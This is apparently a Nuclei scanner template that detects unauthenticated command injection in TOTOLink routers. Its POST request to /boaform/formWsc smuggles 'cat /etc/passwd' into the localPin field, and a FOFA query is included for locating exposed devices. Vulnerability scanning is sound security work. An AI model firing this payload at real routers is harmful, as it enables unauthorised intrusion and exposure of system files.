totolink-boaform-rce: TOTOLink Router - Remote Command Execution

id: totolink-boaform-rce

info:
  name: TOTOLink Router - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    TOTOLink routers are vulnerable to unauthenticated remote command execution via the /boaform/formWsc endpoint. An attacker can inject OS commands through the localPin parameter.
  reference:
    - https://github.com/fizz-is-on-the-way/Iot_vuls/blob/main/N150RT/RCE_formWsc/README.md
  classification:
    cwe-id: CWE-78
  metadata:
    max-request: 2
    product: TOTOLINK
    fofa-query: title="TOTOLINK"
  tags: totolink,rce,router,boaform,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200'
          - 'contains(tolower(body), "totolink")'
        condition: and
        internal: true

  - raw:
      - |
        POST /boaform/formWsc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        targetAPMac=001A2B3C4D5E&targetAPSsid=3232&submit-url=aaaaaa&localPin=aaaa%20||%20cat%20/etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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